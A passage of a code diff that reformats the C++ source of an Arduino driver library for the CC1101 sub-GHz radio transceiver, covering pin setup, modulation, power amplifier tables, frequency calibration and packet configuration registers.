+    spi = 1;

+    SCK_PIN_M[modul] = sck;

+    MISO_PIN_M[modul] = miso;

+    MOSI_PIN_M[modul] = mosi;

+    SS_PIN_M[modul] = ss;

+}

+/****************************************************************

+ *FUNCTION NAME:GDO Pin settings

+ *FUNCTION     :set GDO Pins

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2) {

+    GDO0 = gdo0;

+    GDO2 = gdo2;

+    GDO_Set();

+}

+/****************************************************************

+ *FUNCTION NAME:GDO0 Pin setting

+ *FUNCTION     :set GDO0 Pin

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setGDO0(byte gdo0) {

+    GDO0 = gdo0;

+    GDO0_Set();

+}

+/****************************************************************

+ *FUNCTION NAME:GDO Pin settings

+ *FUNCTION     :add GDO Pins

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul) {

+    GDO0_M[modul] = gdo0;

+    GDO2_M[modul] = gdo2;

+    gdo_set = 2;

+    GDO_Set();

+}

+/****************************************************************

+ *FUNCTION NAME:add GDO0 Pin

+ *FUNCTION     :add GDO0 Pin

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul) {

+    GDO0_M[modul] = gdo0;

+    gdo_set = 1;

+    GDO0_Set();

+}

+/****************************************************************

+ *FUNCTION NAME:set Modul

+ *FUNCTION     :change modul

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setModul(byte modul) {

+    SCK_PIN = SCK_PIN_M[modul];

+    MISO_PIN = MISO_PIN_M[modul];

+    MOSI_PIN = MOSI_PIN_M[modul];

+    SS_PIN = SS_PIN_M[modul];

+    if (gdo_set == 1) {

+        GDO0 = GDO0_M[modul];

+    } else if (gdo_set == 2) {

+        GDO0 = GDO0_M[modul];

+        GDO2 = GDO2_M[modul];

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:CCMode

+ *FUNCTION     :Format of RX and TX data

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setCCMode(bool s) {

+    ccmode = s;

+    if (ccmode == 1) {

+        SpiWriteReg(CC1101_IOCFG2, 0x0B);

+        SpiWriteReg(CC1101_IOCFG0, 0x06);

+        SpiWriteReg(CC1101_PKTCTRL0, 0x05);

+        SpiWriteReg(CC1101_MDMCFG3, 0xF8);

+        SpiWriteReg(CC1101_MDMCFG4, 11 + m4RxBw);

+    } else {

+        SpiWriteReg(CC1101_IOCFG2, 0x0D);

+        SpiWriteReg(CC1101_IOCFG0, 0x0D);

+        SpiWriteReg(CC1101_PKTCTRL0, 0x32);

+        SpiWriteReg(CC1101_MDMCFG3, 0x93);

+        SpiWriteReg(CC1101_MDMCFG4, 7 + m4RxBw);

+    }

+    setModulation(modulation);

+}

+/****************************************************************

+ *FUNCTION NAME:Modulation

+ *FUNCTION     :set CC1101 Modulation

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setModulation(byte m) {

+    if (m > 4) {

+        m = 4;

+    }

+    modulation = m;

+    Split_MDMCFG2();

+    switch (m) {

+    case 0:

+        m2MODFM = 0x00;

+        frend0 = 0x10;

+        break; // 2-FSK

+    case 1:

+        m2MODFM = 0x10;

+        frend0 = 0x10;

+        break; // GFSK

+    case 2:

+        m2MODFM = 0x30;

+        frend0 = 0x11;

+        break; // ASK

+    case 3:

+        m2MODFM = 0x40;

+        frend0 = 0x10;

+        break; // 4-FSK

+    case 4:

+        m2MODFM = 0x70;

+        frend0 = 0x10;

+        break; // MSK

+    }

+    SpiWriteReg(CC1101_MDMCFG2, m2DCOFF + m2MODFM + m2MANCH + m2SYNCM);

+    SpiWriteReg(CC1101_FREND0, frend0);

+    setPA(pa);

+}

+/****************************************************************

+ *FUNCTION NAME:PA Power

+ *FUNCTION     :set CC1101 PA Power

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setPA(int p) {

+    int a;

+    pa = p;

 

-if (MHz >= 300 && MHz <= 348){

-if (pa <= -30){a = PA_TABLE_315[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];}

-else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];}

-else if (pa > 7){a = PA_TABLE_315[7];}

-last_pa = 1;

-}

-else if (MHz >= 378 && MHz <= 464){

-if (pa <= -30){a = PA_TABLE_433[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];}

-else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];}

-else if (pa > 7){a = PA_TABLE_433[7];}

-last_pa = 2;

-}

-else if (MHz >= 779 && MHz <= 899.99){

-if (pa <= -30){a = PA_TABLE_868[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];}

-else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];}

-else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];}

-else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];}

-else if (pa > 10){a = PA_TABLE_868[9];}

-last_pa = 3;

-}

-else if (MHz >= 900 && MHz <= 928){

-if (pa <= -30){a = PA_TABLE_915[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];}

-else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];}

-else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];}

-else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];}

-else if (pa > 10){a = PA_TABLE_915[9];}

-last_pa = 4;

-}

-if (modulation == 2){

-PA_TABLE[0] = 0;  

-PA_TABLE[1] = a;

-}else{

-PA_TABLE[0] = a;  

-PA_TABLE[1] = 0; 

-}

-SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8);

-}

-/****************************************************************

-*FUNCTION NAME:Frequency Calculator

-*FUNCTION     :Calculate the basic frequency.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setMHZ(float mhz){

-byte freq2 = 0;

-byte freq1 = 0;

-byte freq0 = 0;

+    if (MHz >= 300 && MHz <= 348) {

+        if (pa <= -30) {

+            a = PA_TABLE_315[0];

+        } else if (pa > -30 && pa <= -20) {

+            a = PA_TABLE_315[1];

+        } else if (pa > -20 && pa <= -15) {

+            a = PA_TABLE_315[2];

+        } else if (pa > -15 && pa <= -10) {

+            a = PA_TABLE_315[3];

+        } else if (pa > -10 && pa <= 0) {

+            a = PA_TABLE_315[4];

+        } else if (pa > 0 && pa <= 5) {

+            a = PA_TABLE_315[5];

+        } else if (pa > 5 && pa <= 7) {

+            a = PA_TABLE_315[6];

+        } else if (pa > 7) {

+            a = PA_TABLE_315[7];

+        }

+        last_pa = 1;

+    } else if (MHz >= 378 && MHz <= 464) {

+        if (pa <= -30) {

+            a = PA_TABLE_433[0];

+        } else if (pa > -30 && pa <= -20) {

+            a = PA_TABLE_433[1];

+        } else if (pa > -20 && pa <= -15) {

+            a = PA_TABLE_433[2];

+        } else if (pa > -15 && pa <= -10) {

+            a = PA_TABLE_433[3];

+        } else if (pa > -10 && pa <= 0) {

+            a = PA_TABLE_433[4];

+        } else if (pa > 0 && pa <= 5) {

+            a = PA_TABLE_433[5];

+        } else if (pa > 5 && pa <= 7) {

+            a = PA_TABLE_433[6];

+        } else if (pa > 7) {

+            a = PA_TABLE_433[7];

+        }

+        last_pa = 2;

+    } else if (MHz >= 779 && MHz <= 899.99) {

+        if (pa <= -30) {

+            a = PA_TABLE_868[0];

+        } else if (pa > -30 && pa <= -20) {

+            a = PA_TABLE_868[1];

+        } else if (pa > -20 && pa <= -15) {

+            a = PA_TABLE_868[2];

+        } else if (pa > -15 && pa <= -10) {

+            a = PA_TABLE_868[3];

+        } else if (pa > -10 && pa <= -6) {

+            a = PA_TABLE_868[4];

+        } else if (pa > -6 && pa <= 0) {

+            a = PA_TABLE_868[5];

+        } else if (pa > 0 && pa <= 5) {

+            a = PA_TABLE_868[6];

+        } else if (pa > 5 && pa <= 7) {

+            a = PA_TABLE_868[7];

+        } else if (pa > 7 && pa <= 10) {

+            a = PA_TABLE_868[8];

+        } else if (pa > 10) {

+            a = PA_TABLE_868[9];

+        }

+        last_pa = 3;

+    } else if (MHz >= 900 && MHz <= 928) {

+        if (pa <= -30) {

+            a = PA_TABLE_915[0];

+        } else if (pa > -30 && pa <= -20) {

+            a = PA_TABLE_915[1];

+        } else if (pa > -20 && pa <= -15) {

+            a = PA_TABLE_915[2];

+        } else if (pa > -15 && pa <= -10) {

+            a = PA_TABLE_915[3];

+        } else if (pa > -10 && pa <= -6) {

+            a = PA_TABLE_915[4];

+        } else if (pa > -6 && pa <= 0) {

+            a = PA_TABLE_915[5];

+        } else if (pa > 0 && pa <= 5) {

+            a = PA_TABLE_915[6];

+        } else if (pa > 5 && pa <= 7) {

+            a = PA_TABLE_915[7];

+        } else if (pa > 7 && pa <= 10) {

+            a = PA_TABLE_915[8];

+        } else if (pa > 10) {

+            a = PA_TABLE_915[9];

+        }

+        last_pa = 4;

+    }

+    if (modulation == 2) {

+        PA_TABLE[0] = 0;

+        PA_TABLE[1] = a;

+    } else {

+        PA_TABLE[0] = a;

+        PA_TABLE[1] = 0;

+    }

+    SpiWriteBurstReg(CC1101_PATABLE, PA_TABLE, 8);

+}

+/****************************************************************

+ *FUNCTION NAME:Frequency Calculator

+ *FUNCTION     :Calculate the basic frequency.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setMHZ(float mhz) {

+    byte freq2 = 0;

+    byte freq1 = 0;

+    byte freq0 = 0;

 

-MHz = mhz;

+    MHz = mhz;

 

-for (bool i = 0; i==0;){

-if (mhz >= 26){

-mhz-=26;

-freq2+=1;

-}

-else if (mhz >= 0.1015625){

-mhz-=0.1015625;

-freq1+=1;

-}

-else if (mhz >= 0.00039675){

-mhz-=0.00039675;

-freq0+=1;

-}

-else{i=1;}

-}

-if (freq0 > 255){freq1+=1;freq0-=256;}

+    for (bool i = 0; i == 0;) {

+        if (mhz >= 26) {

+            mhz -= 26;

+            freq2 += 1;

+        } else if (mhz >= 0.1015625) {

+            mhz -= 0.1015625;

+            freq1 += 1;

+        } else if (mhz >= 0.00039675) {

+            mhz -= 0.00039675;

+            freq0 += 1;

+        } else {

+            i = 1;

+        }

+    }

+    if (freq0 > 255) {

+        freq1 += 1;

+        freq0 -= 256;

+    }

 

-SpiWriteReg(CC1101_FREQ2, freq2);

-SpiWriteReg(CC1101_FREQ1, freq1);

-SpiWriteReg(CC1101_FREQ0, freq0);

+    SpiWriteReg(CC1101_FREQ2, freq2);

+    SpiWriteReg(CC1101_FREQ1, freq1);

+    SpiWriteReg(CC1101_FREQ0, freq0);

 

-Calibrate();

+    Calibrate();

 }

 /****************************************************************

-*FUNCTION NAME:Calibrate

-*FUNCTION     :Calibrate frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Calibrate(void){

+ *FUNCTION NAME:Calibrate

+ *FUNCTION     :Calibrate frequency

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Calibrate(void) {

+

+    if (MHz >= 300 && MHz <= 348) {

+        SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));

+        if (MHz < 322.88) {

+            SpiWriteReg(CC1101_TEST0, 0x0B);

+        } else {

+            SpiWriteReg(CC1101_TEST0, 0x09);

+            int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

+            if (s < 32) {

+                SpiWriteReg(CC1101_FSCAL2, s + 32);

+            }

+            if (last_pa != 1) {

+                setPA(pa);

+            }

+        }

+    } else if (MHz >= 378 && MHz <= 464) {

+        SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));

+        if (MHz < 430.5) {

+            SpiWriteReg(CC1101_TEST0, 0x0B);

+        } else {

+            SpiWriteReg(CC1101_TEST0, 0x09);

+            int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

+            if (s < 32) {

+                SpiWriteReg(CC1101_FSCAL2, s + 32);

+            }

+            if (last_pa != 2) {

+                setPA(pa);

+            }

+        }

+    } else if (MHz >= 779 && MHz <= 899.99) {

+        SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));

+        if (MHz < 861) {

+            SpiWriteReg(CC1101_TEST0, 0x0B);

+        } else {

+            SpiWriteReg(CC1101_TEST0, 0x09);

+            int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

+            if (s < 32) {

+                SpiWriteReg(CC1101_FSCAL2, s + 32);

+            }

+            if (last_pa != 3) {

+                setPA(pa);

+            }

+        }

+    } else if (MHz >= 900 && MHz <= 928) {

+        SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));

+        SpiWriteReg(CC1101_TEST0, 0x09);

+        int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

+        if (s < 32) {

+            SpiWriteReg(CC1101_FSCAL2, s + 32);

+        }

+        if (last_pa != 4) {

+            setPA(pa);

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:Calibration offset

+ *FUNCTION     :Set calibration offset

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e) {

+    if (b == 1) {

+        clb1[0] = s;

+        clb1[1] = e;

+    } else if (b == 2) {

+        clb2[0] = s;

+        clb2[1] = e;

+    } else if (b == 3) {

+        clb3[0] = s;

+        clb3[1] = e;

+    } else if (b == 4) {

+        clb4[0] = s;

+        clb4[1] = e;

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:getCC1101

+ *FUNCTION     :Test Spi connection and return 1 when true.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+bool ELECHOUSE_CC1101::getCC1101(void) {

+    setSpi();

+    if (SpiReadStatus(0x31) > 0) {

+        return 1;

+    } else {

+        return 0;

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:getMode

+ *FUNCTION     :Return the Mode. Sidle = 0, TX = 1, Rx = 2.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+byte ELECHOUSE_CC1101::getMode(void) { return trxstate; }

+/****************************************************************

+ *FUNCTION NAME:Set Sync_Word

+ *FUNCTION     :Sync Word

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl) {

+    SpiWriteReg(CC1101_SYNC1, sh);

+    SpiWriteReg(CC1101_SYNC0, sl);

+}

+/****************************************************************

+ *FUNCTION NAME:Set ADDR

+ *FUNCTION     :Address used for packet filtration. Optional broadcast addresses

+ * are 0 (0x00) and 255 (0xFF). INPUT        :none OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setAddr(byte v) { SpiWriteReg(CC1101_ADDR, v); }

+/****************************************************************

+ *FUNCTION NAME:Set PQT

+ *FUNCTION     :Preamble quality estimator threshold

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setPQT(byte v) {

+    Split_PKTCTRL1();

+    pc1PQT = 0;

+    if (v > 7) {

+        v = 7;

+    }

+    pc1PQT = v * 32;

+    SpiWriteReg(CC1101_PKTCTRL1, pc1PQT + pc1CRC_AF + pc1APP_ST + pc1ADRCHK);

+}

+/****************************************************************

+ *FUNCTION NAME:Set CRC_AUTOFLUSH

+ *FUNCTION     :Enable automatic flush of RX FIFO when CRC is not OK

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setCRC_AF(bool v) {

+    Split_PKTCTRL1();

+    pc1CRC_AF = 0;

+    if (v == 1) {

+        pc1CRC_AF = 8;

+    }

+    SpiWriteReg(CC1101_PKTCTRL1, pc1PQT + pc1CRC_AF + pc1APP_ST + pc1ADRCHK);

+}

+/****************************************************************

+ *FUNCTION NAME:Set APPEND_STATUS

+ *FUNCTION     :When enabled, two status bytes will be appended to the payload

+ * of the packet INPUT        :none OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setAppendStatus(bool v) {

+    Split_PKTCTRL1();

+    pc1APP_ST = 0;

+    if (v == 1) {

+        pc1APP_ST = 4;

+    }

+    SpiWriteReg(CC1101_PKTCTRL1, pc1PQT + pc1CRC_AF + pc1APP_ST + pc1ADRCHK);

+}

+/****************************************************************

+ *FUNCTION NAME:Set ADR_CHK

+ *FUNCTION     :Controls address check configuration of received packages

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setAdrChk(byte v) {

+    Split_PKTCTRL1();

+    pc1ADRCHK = 0;

+    if (v > 3) {

+        v = 3;

+    }

+    pc1ADRCHK = v;

+    SpiWriteReg(CC1101_PKTCTRL1, pc1PQT + pc1CRC_AF + pc1APP_ST + pc1ADRCHK);

+}

+/****************************************************************

+ *FUNCTION NAME:Set WHITE_DATA

+ *FUNCTION     :Turn data whitening on / off.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setWhiteData(bool v) {

+    Split_PKTCTRL0();

+    pc0WDATA = 0;

+    if (v == 1) {

+        pc0WDATA = 64;

+    }

+    SpiWriteReg(CC1101_PKTCTRL0,

+                pc0WDATA + pc0PktForm + pc0CRC_EN + pc0LenConf);

+}

+/****************************************************************

+ *FUNCTION NAME:Set PKT_FORMAT

+ *FUNCTION     :Format of RX and TX data

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setPktFormat(byte v) {

+    Split_PKTCTRL0();

+    pc0PktForm = 0;

+    if (v > 3) {

+        v = 3;

+    }

+    pc0PktForm = v * 16;

+    SpiWriteReg(CC1101_PKTCTRL0,

+                pc0WDATA + pc0PktForm + pc0CRC_EN + pc0LenConf);

+}

+/****************************************************************

+ *FUNCTION NAME:Set CRC

+ *FUNCTION     :CRC calculation in TX and CRC check in RX

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setCrc(bool v) {

+    Split_PKTCTRL0();

+    pc0CRC_EN = 0;

+    if (v == 1) {

+        pc0CRC_EN = 4;

+    }

+    SpiWriteReg(CC1101_PKTCTRL0,

+                pc0WDATA + pc0PktForm + pc0CRC_EN + pc0LenConf);

+}

+/****************************************************************

+ *FUNCTION NAME:Set LENGTH_CONFIG

+ *FUNCTION     :Configure the packet length

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setLengthConfig(byte v) {

+    Split_PKTCTRL0();

+    pc0LenConf = 0;

+    if (v > 3) {

+        v = 3;

+    }

+    pc0LenConf = v;

+    SpiWriteReg(CC1101_PKTCTRL0,

+                pc0WDATA + pc0PktForm + pc0CRC_EN + pc0LenConf);

+}

+/****************************************************************

+ *FUNCTION NAME:Set PACKET_LENGTH

+ *FUNCTION     :Indicates the packet length

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setPacketLength(byte v) {

+    SpiWriteReg(CC1101_PKTLEN, v);

+}

+/****************************************************************

+ *FUNCTION NAME:Set DCFILT_OFF

+ *FUNCTION     :Disable digital DC blocking filter before demodulator

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setDcFilterOff(bool v) {

+    Split_MDMCFG2();

+    m2DCOFF = 0;

+    if (v == 1) {

+        m2DCOFF = 128;

+    }

+    SpiWriteReg(CC1101_MDMCFG2, m2DCOFF + m2MODFM + m2MANCH + m2SYNCM);

+}

+/****************************************************************

+ *FUNCTION NAME:Set MANCHESTER

+ *FUNCTION     :Enables Manchester encoding/decoding

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setManchester(bool v) {

+    Split_MDMCFG2();

+    m2MANCH = 0;

+    if (v == 1) {

+        m2MANCH = 8;

+    }

+    SpiWriteReg(CC1101_MDMCFG2, m2DCOFF + m2MODFM + m2MANCH + m2SYNCM);

+}

+/****************************************************************

+ *FUNCTION NAME:Set SYNC_MODE

+ *FUNCTION     :Combined sync-word qualifier mode

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSyncMode(byte v) {

+    Split_MDMCFG2();

+    m2SYNCM = 0;

+    if (v > 7) {

+        v = 7;

+    }

+    m2SYNCM = v;

+    SpiWriteReg(CC1101_MDMCFG2, m2DCOFF + m2MODFM + m2MANCH + m2SYNCM);

+}

+/****************************************************************

+ *FUNCTION NAME:Set FEC

+ *FUNCTION     :Enable Forward Error Correction (FEC)

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setFEC(bool v) {

+    Split_MDMCFG1();

+    m1FEC = 0;

+    if (v == 1) {

+        m1FEC = 128;

+    }

+    SpiWriteReg(CC1101_MDMCFG1, m1FEC + m1PRE + m1CHSP);

+}

+/****************************************************************

+ *FUNCTION NAME:Set PRE

+ *FUNCTION     :Sets the minimum number of preamble bytes to be transmitted.

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setPRE(byte v) {

+    Split_MDMCFG1();

+    m1PRE = 0;

+    if (v > 7) {

+        v = 7;

+    }

+    m1PRE = v * 16;

+    SpiWriteReg(CC1101_MDMCFG1, m1FEC + m1PRE + m1CHSP);

+}

+/****************************************************************

+ *FUNCTION NAME:Set Channel

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setChannel(byte ch) {

+    chan = ch;

+    SpiWriteReg(CC1101_CHANNR, chan);

+}

+/****************************************************************

+ *FUNCTION NAME:Set Channel spacing

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setChsp(float f) {

+    Split_MDMCFG1();

+    byte MDMCFG0 = 0;

+    m1CHSP = 0;

+    if (f > 405.456543) {

+        f = 405.456543;

+    }

+    if (f < 25.390625) {

+        f = 25.390625;

+    }

+    for (int i = 0; i < 5; i++) {

+        if (f <= 50.682068) {

+            f -= 25.390625;

+            f /= 0.0991825;

+            MDMCFG0 = f;

+            float s1 = (f - MDMCFG0) * 10;

+            if (s1 >= 5) {

+                MDMCFG0++;

+            }

+            i = 5;

+        } else {

+            m1CHSP++;

+            f /= 2;

+        }

+    }

+    SpiWriteReg(19, m1CHSP + m1FEC + m1PRE);

+    SpiWriteReg(20, MDMCFG0);

+}

+/****************************************************************

+ *FUNCTION NAME:Set Receive bandwidth

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setRxBW(float f) {

+    Split_MDMCFG4();

+    int s1 = 3;

+    int s2 = 3;

+    for (int i = 0; i < 3; i++) {

+        if (f > 101.5625) {

+            f /= 2;

+            s1--;

+        } else {

+            i = 3;

+        }

+    }

+    for (int i = 0; i < 3; i++) {

+        if (f > 58.1) {

+            f /= 1.25;

+            s2--;

+        } else {

+            i = 3;

+        }

+    }

+    s1 *= 64;

+    s2 *= 16;

+    m4RxBw = s1 + s2;

+    SpiWriteReg(16, m4RxBw + m4DaRa);

+}

+/****************************************************************

+ *FUNCTION NAME:Set Data Rate

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setDRate(float d) {

+    Split_MDMCFG4();

+    float c = d;

+    byte MDMCFG3 = 0;

+    if (c > 1621.83) {

+        c = 1621.83;

+    }

+    if (c < 0.0247955) {

+        c = 0.0247955;

+    }

+    m4DaRa = 0;

+    for (int i = 0; i < 20; i++) {

+        if (c <= 0.0494942) {

+            c = c - 0.0247955;

+            c = c / 0.00009685;

+            MDMCFG3 = c;

+            float s1 = (c - MDMCFG3) * 10;

+            if (s1 >= 5) {

+                MDMCFG3++;

+            }

+            i = 20;

+        } else {

+            m4DaRa++;

+            c = c / 2;

+        }

+    }

+    SpiWriteReg(16, m4RxBw + m4DaRa);

+    SpiWriteReg(17, MDMCFG3);

+}

+/****************************************************************

+ *FUNCTION NAME:Set Devitation

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setDeviation(float d) {

+    float f = 1.586914;

+    float v = 0.19836425;

+    int c = 0;

+    if (d > 380.859375) {

+        d = 380.859375;

+    }

+    if (d < 1.586914) {

+        d = 1.586914;

+    }

+    for (int i = 0; i < 255; i++) {

+        f += v;

+        if (c == 7) {

+            v *= 2;

+            c = -1;

+            i += 8;

+        }

+        if (f >= d) {

+            c = i;

+            i = 255;

+        }

+        c++;

+    }

+    SpiWriteReg(21, c);

+}

+/****************************************************************

+ *FUNCTION NAME:Split PKTCTRL0

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Split_PKTCTRL1(void) {

+    int calc = SpiReadStatus(7);

+    pc1PQT = 0;

+    pc1CRC_AF = 0;

+    pc1APP_ST = 0;

+    pc1ADRCHK = 0;

+    for (bool i = 0; i == 0;) {

+        if (calc >= 32) {

+            calc -= 32;

+            pc1PQT += 32;

+        } else if (calc >= 8) {

+            calc -= 8;

+            pc1CRC_AF += 8;

+        } else if (calc >= 4) {

+            calc -= 4;

+            pc1APP_ST += 4;

+        } else {

+            pc1ADRCHK = calc;

+            i = 1;

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:Split PKTCTRL0

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Split_PKTCTRL0(void) {

+    int calc = SpiReadStatus(8);

+    pc0WDATA = 0;

+    pc0PktForm = 0;

+    pc0CRC_EN = 0;

+    pc0LenConf = 0;

+    for (bool i = 0; i == 0;) {

+        if (calc >= 64) {

+            calc -= 64;

+            pc0WDATA += 64;

+        } else if (calc >= 16) {

+            calc -= 16;

+            pc0PktForm += 16;

+        } else if (calc >= 4) {

+            calc -= 4;

+            pc0CRC_EN += 4;

+        } else {

+            pc0LenConf = calc;

+            i = 1;

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:Split MDMCFG1

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Split_MDMCFG1(void) {

+    int calc = SpiReadStatus(19);

+    m1FEC = 0;

+    m1PRE = 0;

+    m1CHSP = 0;

+    int s2 = 0;

+    for (bool i = 0; i == 0;) {

+        if (calc >= 128) {

+            calc -= 128;

+            m1FEC += 128;

+        } else if (calc >= 16) {

+            calc -= 16;

+            m1PRE += 16;

+        } else {

+            m1CHSP = calc;

+            i = 1;

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:Split MDMCFG2

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Split_MDMCFG2(void) {

+    int calc = SpiReadStatus(18);

+    m2DCOFF = 0;

+    m2MODFM = 0;

+    m2MANCH = 0;

+    m2SYNCM = 0;

+    for (bool i = 0; i == 0;) {

+        if (calc >= 128) {

+            calc -= 128;

+            m2DCOFF += 128;

+        } else if (calc >= 16) {

+            calc -= 16;

+            m2MODFM += 16;

+        } else if (calc >= 8) {

+            calc -= 8;

+            m2MANCH += 8;

+        } else {

+            m2SYNCM = calc;

+            i = 1;

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:Split MDMCFG4

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::Split_MDMCFG4(void) {

+    int calc = SpiReadStatus(16);

+    m4RxBw = 0;

+    m4DaRa = 0;

+    for (bool i = 0; i == 0;) {

+        if (calc >= 64) {

+            calc -= 64;

+            m4RxBw += 64;

+        } else if (calc >= 16) {

+            calc -= 16;

+            m4RxBw += 16;

+        } else {

+            m4DaRa = calc;

+            i = 1;

+        }

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:RegConfigSettings

